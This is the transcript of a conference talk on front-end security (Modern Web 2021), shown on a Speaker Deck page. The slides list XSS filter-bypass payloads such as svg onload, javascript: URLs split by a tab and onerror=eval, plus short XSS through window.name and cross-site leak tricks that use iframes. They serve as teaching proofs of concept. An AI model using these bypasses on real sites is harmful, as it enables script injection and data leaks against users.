Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
接觸資安才發現前端的水真深 - Modern Web 2021
Search
Huli
October 15, 2021
Technology
0
2.3k
接觸資安才發現前端的水真深 - Modern Web 2021
接觸資安才發現前端的水真深 - Modern Web 2021
Huli
October 15, 2021
Tweet
Share
More Decks by Huli
See All by Huli
ModernWeb 2018 - 輕鬆應付複雜的非同步操作:RxJS + Redux Observable
aszx87410
0
170
Attacking web without JS - CSS injection
aszx87410
0
3.1k
Front-end Security that Front-end developers don't know
aszx87410
2
5.7k
你懂了 JavaScript,也不懂 JavaScript - MOPCON 2021
aszx87410
3
1k
JSDC2020 - 用 API mocking 讓前端不再苦等待
aszx87410
0
1.3k
Other Decks in Technology
See All in Technology
AI自体のOps 〜LLMアプリの運用、AWSサービスとOSSの使い分け〜
minorun365
PRO
9
740
AIエージェント時代のエンジニアになろう #jawsug #jawsdays2025 / 20250301 Agentic AI Engineering
yoshidashingo
8
3.9k
遷移の高速化 ヤフートップの試行錯誤
narirou
6
1.8k
MIMEと文字コードの闇
hirachan
2
1.4k
Global Databaseで実現するマルチリージョン自動切替とBlue/Greenデプロイ
j2yano
0
140
Platform Engineeringで クラウドの「楽しくない」を解消しよう
jacopen
4
120
Autonomous Database Serverless 技術詳細 / adb-s_technical_detail_jp
oracle4engineer
PRO
17
45k
IoTシステム開発の複雑さを低減するための統合的アーキテクチャ
kentaro
1
120
データエンジニアリング領域におけるDuckDBのユースケース
chanyou0311
9
2.5k
どちらかだけじゃもったいないかも? ECSとEKSを適材適所で併用するメリット、運用課題とそれらの対応について
tk3fftk
2
240
Охота на косуль у древних
ashapiro
0
120
役員・マネージャー・著者・エンジニアそれぞれの立場から見たAWS認定資格
nrinetcom
PRO
4
6.5k
Featured
See All Featured
Designing Experiences People Love
moore
140
23k
Exploring the Power of Turbo Streams & Action Cable | RailsConf2023
kevinliebholz
30
4.6k
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
45
9.4k
A designer walks into a library…
pauljervisheath
205
24k
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
44
7k
jQuery: Nuts, Bolts and Bling
dougneiner
63
7.7k
GitHub's CSS Performance
jonrohan
1030
460k
Embracing the Ebb and Flow
colly
84
4.6k
How to Think Like a Performance Engineer
csswizardry
22
1.4k
KATA
mclloyd
29
14k
BBQ
matthewcrist
87
9.5k
The Invisible Side of Design
smashingmag
299
50k
Transcript
接觸資安才發現前端的⽔水真深 Huli @ Modern Web 2021
About 上半年年:OneDegree 前端⼯工程師
About 上半年年:OneDegree 前端⼯工程師 下半年年:Cymetrics 資安⼯工程師
None
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
XSS
<script> alert(1) </script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Q1 如果把 HTML 中的空格都拿掉 是否還可以⽤用屬性 XSS?
Q1 如果把 HTML 中的空格都拿掉 是否還可以⽤用屬性 XSS?
<svg onload=alert(1)>
<svg/onload=alert(1)>
Q2 如果禁⽌止使⽤用 on 開頭的屬性, 是否還能 XSS?
Q2 如果禁⽌止使⽤用 on 開頭的屬性, 是否還能 XSS?
<iframe/ src="javascript:alert(1)">
Q3 如果把 javascript 開頭的值都濾掉, 是否還能 XSS?
Q3 如果把 javascript 開頭的值都濾掉, 是否還能 XSS?
<iframe/ src="java\tscript:alert(1)">
Q4 如果去除 tab 跟空⾏行行以後去掉 javascript, 是否還能 XSS?
Q4 如果去除 tab 跟空⾏行行以後去掉 javascript, 是否還能 XSS?
<iframe/ src="javascript:alert(1)">
<iframe/ src="javascript:alert (1)">
Q5 如果去除 src 屬性, 是否還能 XSS?
Q5 如果去除 src 屬性, 是否還能 XSS?
<a/ href="javascript:alert(1)">
<script> alert(1) </script>
<script> alert`1` </script>
onerror=alert;throw 1
onerror=eval;throw "=alert\x281\x29"
onerror=eval;throw "=alert\x281\x29" Uncaught 123
onerror=eval;throw "=alert\x281\x29" Uncaught=123
onerror=eval;throw "=alert\x281\x29" Uncaught=alert(1)
None
字數限制
<svg/onload=> 13 字
利利⽤用現有資訊
<svg/ onload= eval(`'`+location)> 13 + 18 = 31 字
a.com#';alert(1) `'` + location => 'a.com#';alert(1)
<svg/ onload= eval(`'`+document.URL)> 13 + 22 = 35 字
<svg/ onload= eval(`'`+document.URL)> 13 + 22 = 35 字 9
個字
<svg/ onload= eval(`'`+URL)> 13 + 13 = 26 字
None
None
Q6 name = 123 typeof name === "number"
Q6 name = 123 typeof name === "number"
example.com window.name
huli.tw window.name
<svg/ onload= eval(name)> 13 + 10 = 23 字
https://tinyxss.terjanq.me/
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
Agenda 1. 繞過各種限制 2. Cross site leaks (XS leak) 3.
其他你不知道的功能
Download 請輸入要搜尋的使⽤用者名稱 example.com/download
Download 請輸入要搜尋的使⽤用者名稱 查無使⽤用者 example example.com/download?q=example
Download 請輸入要搜尋的使⽤用者名稱 a example.com/download?q=a
Download 請輸入要搜尋的使⽤用者名稱 a
然後呢,我們能做什什麼?
Download 請輸入要搜尋的使⽤用者名稱 iframe example.com/download huli.tw
Download 請輸入要搜尋的使⽤用者名稱 iframe example example.com/download?q=example huli.tw
Download 請輸入要搜尋的使⽤用者名稱 iframe example iframe.contentWindow.origin example.com/download?q=example huli.tw
Download 請輸入要搜尋的使⽤用者名稱 iframe a iframe.contentWindow.origin example.com/download?q=a huli.tw
None
example.com/users/123 David id=message 傳送訊息
example.com/users/210 Peter id=add 加入好友
然後呢,我們能做什什麼?
example.com/users/123 David id=message 傳送訊息
example.com/users/123#message David id=message 傳送訊息 focus
iframe example.com/users/123#message huli.tw David id=message 傳送訊息
None
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
example.com/files example.com/blog 上傳各種檔案 放各種⽂文章
example.com/files example.com/blog path: /files path: /blog 上傳各種檔案 放各種⽂文章
example.com/files example.com/blog path: /files path: /blog 放各種⽂文章 <script> alert(1) </script>
files/xss.html
example.com/files example.com/blog path: /files path: /blog 放各種⽂文章 <script> alert(1) </script>
files/xss.html ?
None
None
example.com <embed src=/pdf?token=u7Dh3 ……….
example.com <embed src=/pdf?token=u7Dh3 ………. <script> alert(1) </script>
example.com <embed src=/pdf?token=u7Dh3 ………. <script> alert(1) </script> ?
None
None
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
資料來來源 1.https://tinyxss.terjanq.me/ 2.https://xsleaks.dev/ 3.LINE CTF 2021 4.DiceCTF 2021 5.zer0pts CTF
2021
google: cymetrics blog